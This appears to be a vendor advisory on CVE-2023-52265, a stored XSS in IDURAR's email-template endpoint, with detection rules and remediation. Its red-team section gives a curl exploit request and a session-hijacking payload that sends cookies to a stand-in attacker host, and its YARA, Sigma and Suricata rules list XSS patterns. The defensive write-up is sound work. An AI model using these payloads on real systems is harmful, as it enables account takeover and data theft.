CVE-2023-52265

Executive Summary

CVE-2023-52265 is a stored Cross-Site Scripting (XSS) vulnerability in IDURAR (idurar-erp-crm) versions through 2.0.1. The vulnerability allows an authenticated attacker to inject arbitrary JavaScript code via a crafted JSON email template in a PATCH request to the /api/email/update endpoint. This stored XSS can lead to session hijacking, data theft, and further compromise of the ERP/CRM system. The vulnerability is publicly known but remains unpatched by the vendor.

Supply Chain & Package Security

IDURAR is an open-source ERP/CRM application. The vulnerability exists in the core application code, not in a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using IDURAR should treat this as a critical supply chain risk, as the application may be deployed in internal networks with access to sensitive business data.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the crafted email template)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is medium, the impact on an ERP/CRM system can be severe due to the sensitive data typically handled.

Deep Dive & Mechanics

The vulnerability resides in the email template update functionality of IDURAR. The /api/email/update endpoint accepts a PATCH request with a JSON payload containing the email template content. The application fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it in the web interface.

Attack Flow:

1. An authenticated attacker crafts a malicious JSON payload containing JavaScript code in the email template field.
2. The attacker sends a PATCH request to /api/email/update with the payload.
3. The server stores the malicious template in the database without sanitization.
4. When an administrator or other user views the email template (e.g., in the email settings or template editor), the injected JavaScript executes in their browser context.
5. The attacker can then perform actions such as stealing session cookies, exfiltrating data, or performing actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for the email template content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would need to implement proper input sanitization and output encoding.

Vulnerable Code (Conceptual):

// Vulnerable endpoint handler
app.patch('/api/email/update', (req, res) => {
  const { template } = req.body;
  // Directly stores user input without sanitization
  db.emailTemplates.update({ template });
  res.json({ success: true });
});

Patched Code (Conceptual):

// Patched endpoint handler
const sanitizeHtml = require('sanitize-html');
app.patch('/api/email/update', (req, res) => {
  const { template } = req.body;
  // Sanitize the input to remove malicious HTML/JavaScript
  const sanitizedTemplate = sanitizeHtml(template, {
    allowedTags: [],
    allowedAttributes: {}
  });
  db.emailTemplates.update({ template: sanitizedTemplate });
  res.json({ success: true });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an IDURAR instance (version <= 2.0.1)
• Valid user credentials with permission to update email templates

Exploitation Steps:

1. Craft the malicious payload:

{
  "template": "<script>alert('XSS')</script>"
}

2. Send the PATCH request:

curl -X PATCH \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"template": "<script>alert(document.cookie)</script>"}' \
  http://target.com/api/email/update

3. Trigger the XSS: Have an administrator or user with access to email templates view the updated template.

Advanced Payload (Session Hijacking):

{
  "template": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
}

Blue Team

Detection Steps:

1. Monitor PATCH requests to /api/email/update for suspicious JSON payloads containing <script> tags or event handlers.
2. Review email template content for unexpected JavaScript code.
3. Check web server logs for unusual patterns in the request body.

Mitigation Steps:

1. Implement input sanitization for all user-supplied data in email templates.
2. Apply Content Security Policy (CSP) headers to restrict script execution.
3. Use output encoding when rendering email templates.
4. Restrict access to the email template update functionality to trusted administrators only.

Indicators of Compromise (IOCs)

Network IOCs:

• PATCH requests to /api/email/update with JSON payloads containing <script> tags
• Outbound connections to unknown domains from the IDURAR server (data exfiltration)

File IOCs:

• Modified email template entries in the database containing JavaScript code
• Suspicious entries in web server logs showing PATCH requests with unusual payloads

Behavioral IOCs:

• Unexpected JavaScript execution in the browser when viewing email templates
• Unauthorized changes to email templates by non-admin users

Detection Engineering

YARA Rule

rule CVE_2023_52265_IDURAR_XSS {
    meta:
        description = "Detects stored XSS payloads in IDURAR email templates"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-52265"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "onclick=" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-52265 - IDURAR Stored XSS via Email Template
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS in IDURAR email templates
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'PATCH'
        cs-uri-stem: '/api/email/update'
        cs-uri-query: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in email templates (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-52265 - IDURAR Stored XSS via Email Template"; flow:to_server,established; content:"PATCH"; http_method; content:"/api/email/update"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable email template editing for non-admin users if possible.
2. Implement a Web Application Firewall (WAF) rule to block PATCH requests to /api/email/update containing <script> tags.
3. Apply input sanitization using a library like DOMPurify or sanitize-html on the server side.

Long-term Fix:

• The vendor should release a patch that properly sanitizes email template input and encodes output.
• Consider migrating to a supported ERP/CRM solution if the vendor does not provide a fix.

Workaround:

• Manually patch the application by adding input validation in the /api/email/update endpoint handler.

Valters IT - DevSecOps & Cyber Threat Intelligence